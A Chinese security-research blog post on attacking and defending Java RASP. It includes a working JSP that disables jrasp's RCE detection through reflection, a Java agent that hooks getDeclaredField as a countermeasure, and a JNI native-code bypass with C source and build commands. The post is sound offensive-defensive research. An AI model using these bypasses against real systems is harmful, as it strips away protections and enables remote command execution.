戳上面的蓝字关注我吧!
01
背景介绍
最近在研究RASP的攻防场景,接触到利用JNI的方式绕过RASP的检测,同时研究了利用反射来关闭RASP的检测开关的时候,思考了一下防御视角可能会怎么防御。
0****2
场景补充
详细的分析手法可以看凌日实验室公众号发布的《RASP的安全攻防研究实践》:https://mp.weixin.qq.com/s/uboamTu5LinvFcDktmL3Xw
会获取检测的action字段的值,因此该action的值就决定了是否会拦截。
`<%@ page language="java" contentType="text/html; charset=UTF-8"` `pageEncoding="UTF-8"%>``<%@ page import="java.lang.Thread" %>``<%@ page import="java.lang.reflect.*" %>``<%@ page import="java.util.*" %>``<%@ page import="java.net.URLClassLoader" %>``<%@ page import="java.net.URL" %>``<!DOCTYPE html>``<html>``<head>``<meta charset="UTF-8">``<title>Close Rasp for RCE</title>``</head>``<body>` `<%`` ` `Field raspClassLoaderMap = Thread.currentThread().getContextClassLoader().loadClass("com.jrasp.agent.AgentLauncher").getDeclaredField("raspClassLoaderMap");` `raspClassLoaderMap.setAccessible(true);` `Map map = (Map)raspClassLoaderMap.get(null);` `ClassLoader raspCLassLoader = (ClassLoader) map.get("jrasp");` `Field algorithmMaps = raspCLassLoader.loadClass("com.jrasp.core.algorithm.DefaultAlgorithmManager").getDeclaredField("algorithmMaps");` `algorithmMaps.setAccessible(true);` `Map algorithmMap = (Map) algorithmMaps.get(null);` `Field RceCheckList = algorithmMap.get("rce").getClass().getDeclaredField("list");` `RceCheckList.setAccessible(true);` `List RceList = (List)RceCheckList.get(null);` `for(int i=0;i<RceList.size();i++){` `Object RceAlgorithm = RceList.get(i);` `Field action = RceAlgorithm.getClass().getSuperclass().getDeclaredField("action");` `action.setAccessible(true);` `action.set(RceAlgorithm,0);` `}`` ` `out.println("Succeed");` `%>``</body>``</html>`
后续通过反射的方式来动态修改action字段的值。
03
**防御视角对抗
**
在关闭RASP的JSP文件中,可以看出用了反射的方式获取了对应的字段名称,因此我这里的想法就是Hook反射中常见的java.lang.Class的getDeclaredField()方法。
我这里重新编写了一个Hello.jar包,来模拟真实攻击者调用反射获取字段的时候,RASP是怎么来拦截的。
`package javaTest;`` ``import java.lang.reflect.Field;`` ``public class Hello {` `public static void main(String[] args) throws Exception {` `System.loadLibrary("attach");` `Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");` `Field f = cls.getDeclaredField("stub");` `System.out.println(cls.getName());` `f.setAccessible(true);` `System.out.println(f.getName());` `}``}`
可以拿到stub的字段对象
我这里手动编写了一个agent,用来模拟RASP的检测
`package io.onedev.agent;`` ``import java.lang.instrument.ClassFileTransformer;``import java.lang.instrument.IllegalClassFormatException;``import java.lang.instrument.Instrumentation;``import java.lang.instrument.UnmodifiableClassException;``import java.security.ProtectionDomain;`` ``import javassist.ClassClassPath;``import javassist.ClassPool;``import javassist.CtClass;``import javassist.CtMethod;``import javassist.LoaderClassPath;`` ``/**` `* Hello world!` `*` `*/``public class App` `{` `private static final String HOOK_CLASS = "java.lang.Class";`` ` `public static void agentmain(String args, Instrumentation instrumentation) throws Exception {` `//instrumentation.addTransformer(new DefineTransformer(), true);` `loadAgent(args,instrumentation);` `}`` ` `private static void loadAgent(String arg, final Instrumentation inst) {` `// 创建DefineTransformer对象` `ClassFileTransformer classFileTransformer = new DefineTransformer();`` ` `// 添加自定义的Transformer,第二个参数true表示是否允许Agent Retransform,` `// 需配合MANIFEST.MF中的Can-Retransform-Classes: true配置` `inst.addTransformer(classFileTransformer, true);`` ` `// 获取所有已经被JVM加载的类对象` `Class[] loadedClass = inst.getAllLoadedClasses();`` ` `for (Class clazz : loadedClass) {` `String className = clazz.getName();`` ` `if (inst.isModifiableClass(clazz)) {` `// 使用Agent重新加载字节码,java.lang.Class必须用重新加载才可以Hook` `if (className.equals(HOOK_CLASS)) {` `try {` `inst.retransformClasses(clazz);` `} catch (UnmodifiableClassException e) {` `e.printStackTrace();` `}` `}` `}` `}` `}`` ` `public static void premain(String args, Instrumentation instrumentation) throws Exception {` `agentmain(args,instrumentation);` `}`` ` `static class DefineTransformer implements ClassFileTransformer {` `public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {` `if(HOOK_CLASS.replace(".", "/").equals(className)){` `try {` `ClassPool pool = ClassPool.getDefault();` `//ClassPool pool = new ClassPool(true);` `ClassClassPath classPath = new ClassClassPath(this.getClass());` `pool.insertClassPath(classPath);` `//将当前ClassLoader添加到ClassPath` `pool.appendClassPath(new LoaderClassPath(loader));` `pool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));` `pool.appendSystemPath(); // the same class path as the default one.` `pool.childFirstLookup = true;` `CtClass ctClass = pool.get(HOOK_CLASS);`` ` `CtMethod ctMethod = ctClass.getDeclaredMethod("getDeclaredField",new CtClass[] {pool.get("java.lang.String")});` `for(CtClass cls : ctMethod.getParameterTypes()) {` `System.out.println(cls.getName());` `}` `ctMethod.insertBefore(` `"String name = $0.getName();" +`` "boolean isRaspClass = name.replace(\"class \", \"\").startsWith(\"sun.tools.attach\");" + `` " if (isRaspClass) {" + `` " throw new SecurityException(\"Cannot get a sun.tools.attach Class\" +\r\n" + `` " \" Field\");" + `` " }");` `System.out.println("Access In Method");` `return ctClass.toBytecode();` `} catch (Throwable e) {` `System.out.println("Access In ExceptionCatch Method");` `e.printStackTrace();` `}` `}` `return null;` `}` `}``}`
在方法前织入了如下代码:
`String name = $0.getName();``boolean isRaspClass = name.replace("class ", "").startsWith("sun.tools.attach");``if (isRaspClass) {` `throw new SecurityException("Cannot get a sun.tools.attach Class Field");``}`
$0就是当前方法的this对象
成功拦截掉反射“sun.tools.attach”开头的类。
04
攻击视角再谈绕过
上述模拟了RASP场景下,检测反射获取字段的方法,对其包的完全限定名进行判定,以"sun.tools.attach"开头的类名的字段就禁止反射。
针对此类场景我思考了一些我自己的想法,想着看能不能通过JNI的方式关闭RASP。但因为完成攻击首先就需要有一个代码执行的场景,其次是已经有JNI注入了,完全可以通过JNI的方式绕过RASP来完成命令执行,因此我这里也只是当作一种拓展面的方式来分享一些吧。
通过JNI调用Java方法绕过
这里我拿在实战中经常用到的Runtime来举例吧,通过反射的方式来获取Runtime实例,Rasp会拦截反射中获取java.lang.Runtime的类。
`package javaTest;`` ``import java.lang.reflect.Field;`` ``public class Hello {` `public static void main(String[] args) throws Exception {` `System.loadLibrary("attach");` `Class cls=Class.forName("java.lang.Runtime");` `Field f = cls.getDeclaredField("currentRuntime");` `f.setAccessible(true);` `Object obj = (Object)Runtime.getRuntime();` `System.out.println(obj);` `}``}`
打包运行截图如下
明显可以看出使用有RASP Agent的场景无法获取到Runtime类中currentRuntime字段存放的实例。
下面我再利用JNI注入的方式绕过反射检测。
首先创建一个Native函数,函数会返回一个Object对象,也就是Runtime类中currentRuntime静态字段存放的实例。
`package com.rasp.demo;`` ``import java.io.File;``import java.lang.reflect.Field;`` ``public class JniDemo {` `{` `String realPath = System.getProperty("user.dir") + File.separator +"raspDemo.so" ;` `System.load(realPath);` `}` `public native Object GetStaticField(String cls,String fieldName);`` `` ` `public static void main(String[] args) throws Exception {` `JniDemo demo = new JniDemo();` `System.loadLibrary("attach");` `Object obj = demo.GetStaticField("java.lang.Runtime","currentRuntime");` `System.out.println(obj);` `}``}`
有个这个,就可以通过以下命令生成一个头文件
javac -cp . ./com/rasp/demo/JniDemo.java -h com.rasp.demo.JniDemo
头文件内容如下
`/* DO NOT EDIT THIS FILE - it is machine generated */``#include <jni.h>``/* Header for class com_rasp_demo_JniDemo */`` ``#ifndef _Included_com_rasp_demo_JniDemo``#define _Included_com_rasp_demo_JniDemo``#ifdef __cplusplus``extern "C" {``#endif``/*` `* Class: com_rasp_demo_JniDemo` `* Method: GetStaticField` `* Signature: (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/Object;` `*/``JNIEXPORT jobject JNICALL Java_com_rasp_demo_JniDemo_GetStaticField` `(JNIEnv *, jobject, jstring, jstring);`` ``#ifdef __cplusplus``}``#endif``#endif`
里面有一个Java_com_rasp_demo_JniDemo_GetStaticField函数名称,就是我们需要实现的函数。
我的实现内容如下:
`#include "com_rasp_demo_JniDemo.h"``#include <string.h>``#include <stdio.h>``#include <sys/types.h>``#include <unistd.h>``#include <stdlib.h>`` ``char *replaceAll(const char *in, const char *pat, const char *replace) {` `const int replaceLen = (int)strlen(replace);` `const int patLen = (int)strlen(pat);`` ` `char *str = malloc(strlen(in)+1);` `strcpy(str, in);`` ` `for(;;) {` `char *p = strstr(str, pat);` `if (p == NULL) return str;`` ` `int replace_pos = (int)(p - str);` `int tail_len = (int)strlen(p + patLen);`` ` `char *newstr = malloc(strlen(str) + (replaceLen - patLen) + 1);`` ` `memcpy(newstr, str, replace_pos);` `memcpy(newstr + replace_pos, replace, replaceLen);` `memcpy(newstr + replace_pos + replaceLen, str + replace_pos + patLen, tail_len+1);`` ` `free(str);` `str = newstr;` `}`` ` `return str;``}`` `` ``JNIEXPORT jobject JNICALL Java_com_rasp_demo_JniDemo_GetStaticField` `(JNIEnv *env, jobject obj,jstring clsName,jstring fieldName){`` ` `const char *cstr = (*env)->GetStringUTFChars(env, clsName, NULL);` `const char *field_str = (*env)->GetStringUTFChars(env, fieldName, NULL);`` ` `char *className = replaceAll(cstr, ".", "/");` `jclass classtring = (*env)->FindClass(env,className);` `if (classtring == NULL) {` `return NULL;` `}`` `` ` `jfieldID currentRuntime = (*env)->GetStaticFieldID(env, classtring, field_str, "Ljava/lang/Runtime;");` `jobject runtime_object = (*env)->GetStaticObjectField(env, classtring, currentRuntime);`` ` `(*env)->ReleaseStringUTFChars(env,clsName,cstr);` `(*env)->ReleaseStringUTFChars(env,fieldName,field_str);` `return runtime_object;` `}`
之后将c代码编译成so文件
gcc -fPIC -I "/usr/lib/jvm/java-11-openjdk-amd64/include" -I"/usr/lib/jvm/java-11-openjdk-amd64/include/linux" -shared -o raspDemo.so raspDemo.c
同时将我们的前面写的JniDemo类打包成jar文件,并附加我们的RASP Agent运行
成功绕过RASP的反射检测,拿到对象实例。
05
总结思考
确实,JNI可以操作的空间很大,不仅能从C代码执行相关操作,同时又可以在C代码中调用Java代码,来回切换、反复横跳,有着很大的操纵空间来规避RASP和HIDS等安全防护产品。在研究这个绕过思路的时候,发现还可以删除对象的Reference引用,熟悉JVM的GC垃圾回收机制的程序员就会知道,一个对象没有引用的时候,是会被GC给回收回去。所以我思考了一下,是否可以通过删除对RASP自定义的ClassLoader的引用,来隔绝ClassLoader加载的类和GC Root的关系,从而使RASP失去防御。
当然,上述场景我也没有验证过,也只是我的一点思考。不过因最近学业繁重,每天都需要花费更多的时间来复习当天所学,关于JNI的一些思考还是留着以后有机会再深入吧。
06
Reference
[1].《RASP的安全攻防研究实践》:https://mp.weixin.qq.com/s/uboamTu5LinvFcDktmL3Xw
[2].https://blog.csdn.net/sujudz/article/details/9019897
[3].https://www.cnblogs.com/c-x-a/p/15609219.html
[4].https://www.cnblogs.com/yongdaimi/p/14023154.html